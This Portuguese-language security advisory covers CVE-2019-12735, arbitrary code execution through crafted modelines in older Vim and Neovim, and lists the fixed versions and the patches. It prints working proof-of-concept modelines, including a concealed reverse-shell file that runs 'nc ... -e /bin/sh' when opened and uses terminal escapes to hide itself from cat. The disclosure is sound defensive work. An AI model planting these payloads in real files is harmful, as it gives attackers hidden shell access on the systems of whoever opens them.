ASA-2019-00323 – Vim: Execução arbitrária de código via modelines


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00323

Identificador(es)

ASA-2019-00323, CVE-2019-12735

Título

Execução arbitrária de código via modelines

Fabricante(s)

Bram Moolenaar
Neovim project

Produto(s)

Vim
Neovim

Versão(ões) afetada(s)

Vim versões anteriores a 8.1.1365
Neovim versões anteriores a 0.3.6

Versão(ões) corrigida(s)

Vim versão 8.1.1365
Neovim versão 0.3.6

Prova de conceito

Sim

Descrição

As versões do Vim anteriores a 8.1.1365 e Neovim anteriores a 0.3.6 são vulneráveis à execução de código arbitrário via modelines, abrindo um arquivo de texto especialmente criado.

Detalhes técnicos

Criar poc.txt:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Assegure-se de que a opção modeline não tenha sido desativada (:set modeline).

Abra o arquivo com Vim

$ vim poc.txt

O sistema executará uname -a.

Prova de conceito 2 (shell reversa)

Este PoC descreve uma abordagem de ataque real na qual uma shell reverso é lançado assim que o usuário abre o arquivo. Para esconder o ataque, o arquivo será imediatamente reescrito quando aberto. Além disso, o PoC usa sequências de escape de terminal para ocultar o modeline quando o conteúdo é impresso com cat. (cat -v revela o conteúdo real.)

shell.txt:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

Details

The modeline feature allows to specify custom editor options near the start or end of a file. This feature is enabled by default and applied to all file types, including plain .txt. A typical modeline:

/* vim: set textwidth=80 tabstop=8: */

Por motivos de segurança, somente um subconjunto de opções é permitido em modelines e, se o valor da opção contiver uma expressão, ela será executada em uma sandbox: [4]

No other commands than “set” are supported, for security reasons (somebody might create a Trojan horse text file with modelines). And not all options can be set. For some options a flag is set, so that when it’s used the |sandbox| is effective.

A sandbox serve para evitar efeitos colaterais: [5]

The ‘foldexpr’, ‘formatexpr’, ‘includeexpr’, ‘indentexpr’, ‘statusline’ and ‘foldtext’ options may be evaluated in a sandbox. This means that you are protected from these expressions having nasty side effects. This gives some safety for when these options are set from a modeline.

No entanto, o comando :source!  (com o modificador bang [!]) pode ser usado para ignorar a sandbox. Ele lê e executa comandos de um determinado arquivo como se digitado manualmente, executando-os depois que a sandbox foi deixada. [6]

:so[urce]! {file} Read Vim commands from {file}. These are commands that are executed from Normal mode, like you type them.

Assim, pode-se construir trivialmente uma modeline que execute código fora da sandbox:

# vim: set foldexpr=execute('\:source! some_file'):

Um passo adicional é necessário para Neovim que coloca execute() em lista negra: [7]

execute({command} [, {silent}]) *execute()*
Execute {command} and capture its output.
[…]
This function is not available in the |sandbox|.

Aqui, assert_fails() pode ser usado em vez disso, o que também leva um argumento {cmd}: [8]

assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.

A modeline a seguir utiliza uma expressão fold para executar a source! % para executar o arquivo atual, que por sua vez executa uname -a || “(lixo)” como um comando shell:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Além disso, a função nvim_input() somente do Neovim é vulnerável à mesma abordagem por meio de, por exemplo:

vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0

Créditos

Arminius (@rawsec)

Referência(s)

[1] – Vim/Neovim Arbitrary Code Execution via Modelines
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

[2] – patch 8.1.1365: source command doesn’t check for the sandbox
https://github.com/vim/vim/commit/5357552

[3] – vim-patch:8.1.1365: :source should check sandbox #10082
https://github.com/neovim/neovim/pull/10082

[4] – VIM REFERENCE MANUAL by Bram Moolenaar
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/options.txt#L582

[5] – VIM REFERENCE MANUAL by Bram Moolenaar
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/eval.txt#L13050

[6] – VIM REFERENCE MANUAL by Bram Moolenaar
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/repeat.txt#L182

[7] – VIM REFERENCE MANUAL by Bram Moolenaar
https://github.com/neovim/neovim/blob/1060bfd0338253107deaac346e362a9feab32068/runtime/doc/eval.txt#L3247

[8] – VIM REFERENCE MANUAL by Bram Moolenaar
https://github.com/neovim/neovim/blob/1060bfd0338253107deaac346e362a9feab32068/runtime/doc/eval.txt#L2494

CVE-2019-12735
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12735

CVE-2019-12735
https://nvd.nist.gov/vuln/detail/CVE-2019-12735

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 13 agosto 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.